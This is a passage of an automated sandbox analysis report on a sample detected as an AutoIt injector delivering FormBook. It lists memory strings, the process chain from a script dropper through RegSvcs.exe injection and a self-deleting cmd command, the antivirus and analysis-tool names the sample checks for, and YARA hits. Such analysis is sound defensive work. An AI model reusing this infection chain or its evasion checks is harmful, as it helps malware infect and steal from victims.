              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: if0}#memstr_1cc308e1-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: of:}$memstr_3c4f2327-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: recyclebinfolder{fmemstr_f04c18b5-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: syncresultsfolderymemstr_de7d3612-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{26ee0668-a00a-44d7-9371-beb064c98683}\0\::{9c73f5e5-7ae7-4e32-a8e8-8d23b85255bf}\::{e413d040-6788-4c22-957e-175d1c513a34},mmemstr_d3a0c04c-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{59031a47-3f72-44a7-89c5-5595fe6b30ee}\{56784854-c6cb-462b-8169-88e350acb882}omemstr_a4b248c7-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{1cf1260c-4dd0-4ebb-811f-33c572699fde}@memstr_34d5743f-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{26ee0668-a00a-44d7-9371-beb064c98683}\0\::{15eae92e-f17a-4431-9f28-805e482dafd4}ymemstr_d17f2326-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;;sy)(a;oici;fa;;;ba)(a;oici;gxgr;;;bu)(a;oici;gxgr;;;wd)5eq$u9memstr_6be940b8-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -+ncalrpc:[ole2156f2e5daeb7791ea8193b65cc6]memstr_232b692a-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: `meowmemstr_d823dab0-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: application/vnd.openxmlformats-officedocument.wordprocessingml.documentlememstr_d77d35ec-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'eh}memstr_43f34254-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: d:p(a;oici;fa;;;sy)(a;oici;fa;;;ba)(a;oici;gxgr;;;bu)(a;oici;gxgr;;;wd)memstr_00e5b984-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: d:p(a;oici;fa;;;sy)(a;oici;fa;;;ba)(a;oici;gxgr;;;bu)(a;oici;gxgr;;;wd)kdt|memstr_b1068110-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c+ncalrpc:[ole0c0ecb80517845756ac5abae15b7]memstr_95abc56e-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: user-pc\userkmemstr_d2eb0873-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{031e4825-7b94-4dc3-b131-e946b44c8dd5}\{2b20df75-1eda-4039-8097-38798227d5b7}memstr_fb116d3a-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @shell32,dll,-12692memstr_63d4e3cc-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: documentslibrarymemstr_6597efe8-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: developmentfilesmemstr_c8464277-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: development filesmemstr_4c158a6f-2
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c gbkusncub.ppt hcmdvu.mscJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /releaseJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt gbkusncub.ppt hcmdvu.mscJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renewJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"Jump to behavior
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077F1000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000135F000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001363000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
              Source: explorer.exe, 00000011.00000000.2323346554.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000002.4574227840.00000000013A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: IProgram Manager
              Source: gbkusncub.ppt.exe, 00000015.00000003.2513695730.00000000010CA000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2512768611.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2514218020.00000000010D2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
              Source: gbkusncub.ppt, explorer.exe, 00000011.00000000.2323346554.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000002.4574227840.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000000.2327227096.00000000048E0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
              Source: explorer.exe, 00000011.00000000.2323346554.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000002.4574227840.00000000013A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2638847208.000000000136A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2641135933.0000000001384000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639297412.0000000001372000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager"
              Source: gbkusncub.ppt, 00000008.00000003.2244906893.0000000001265000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2244969283.0000000001276000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2513465061.000000000108E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If WinGetText("Program Manager") = "0" Then
              Source: explorer.exe, 00000011.00000000.2322870890.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4573390953.0000000000D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +Progman
              Source: hcmdvu.msc.0.drBinary or memory string: If WinGetText("Program Manager") = "0" Then
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2721993087.0000000001849000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2724015284.000000000185F000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722541838.000000000184B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerpxY
              Source: gbkusncub.ppt, 00000008.00000003.2345402153.00000000012C0000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345501324.00000000012C3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerx
              Source: gbkusncub.ppt.exe, 00000015.00000003.2415999101.0000000001074000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2416083716.0000000001085000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If WinGetText("Program Manager") = "0" ThenP[Yrm
              Source: explorer.exe, 00000011.00000000.2323346554.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000002.4574227840.00000000013A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
              Source: explorer.exe, 00000011.00000003.2979251014.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4583168633.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331902622.00000000098AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd31A
              Source: gbkusncub.ppt, 00000008.00000003.2347013685.000000000126D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2347605702.0000000001275000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If WinGetText("Program Manager") = "0" Then22)
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2641194472.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2641635810.0000000001804000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If WinGetText("Program Manager") = "0" Then{o

              Language, Device and Operating System Detection

              barindex
              Yara detected Autoit Injector
              Source: Yara matchFile source: Process Memory Space: gbkusncub.ppt PID: 936, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: gbkusncub.ppt.exe PID: 4988, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: gbkusncub.ppt.exe PID: 6904, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: gbkusncub.ppt.exe PID: 7064, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\RarSFX0\hcmdvu.msc, type: DROPPED
              Source: Yara matchFile source: C:\Users\user\llkd\hcmdvu.msc, type: DROPPED
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB6694 cpuid 0_2_00DB6694
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: GetLocaleInfoW,GetNumberFormatW,0_2_00DAFD34
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB454A GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,0_2_00DB454A
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DA03BE GetVersionExW,0_2_00DA03BE
              Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2638847208.000000000136A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2643200255.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639628949.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2645233623.00000000013E6000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639815240.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639544652.00000000013D0000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639297412.0000000001372000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000002.2726869843.00000000018D2000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722790963.00000000018B6000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2721993087.0000000001849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bdagent.exe
              Source: gbkusncub.ppt, 00000008.00000002.2349522994.0000000001343000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345054515.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344634186.00000000012BD000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2514100700.000000000115D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2513083473.000000000115D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2516194806.000000000115D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2517502609.000000000115D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2638847208.000000000136A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2643200255.00000000013E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: avp.exe
              Source: gbkusncub.ppt, 00000008.00000003.2345725993.0000000001329000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345830257.000000000132E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345174185.0000000001328000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2349493008.0000000001335000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344634186.00000000012BD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AVGUI.exe
              Source: gbkusncub.ppt, 00000008.00000003.2345725993.0000000001329000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345830257.000000000132E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345174185.0000000001328000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2349493008.0000000001335000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344634186.00000000012BD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe
              Source: gbkusncub.ppt, 00000008.00000003.2345725993.0000000001329000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345830257.000000000132E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345174185.0000000001328000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2349493008.0000000001335000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344634186.00000000012BD000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2725282707.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722790963.00000000018B6000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2721993087.0000000001849000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722541838.000000000184B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: regshot.exe

              Stealing of Sensitive Information

              barindex
              Yara detected FormBook
              Source: Yara matchFile source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: gbkusncub.pptBinary or memory string: WIN_81
              Source: gbkusncub.pptBinary or memory string: WIN_XP
              Source: gbkusncub.ppt.exe.exe.21.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
              Source: gbkusncub.pptBinary or memory string: WIN_XPe
              Source: gbkusncub.pptBinary or memory string: WIN_VISTA
              Source: gbkusncub.pptBinary or memory string: WIN_7
              Source: gbkusncub.pptBinary or memory string: WIN_8

              Remote Access Functionality

              barindex
              Yara detected FormBook
              Source: Yara matchFile source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
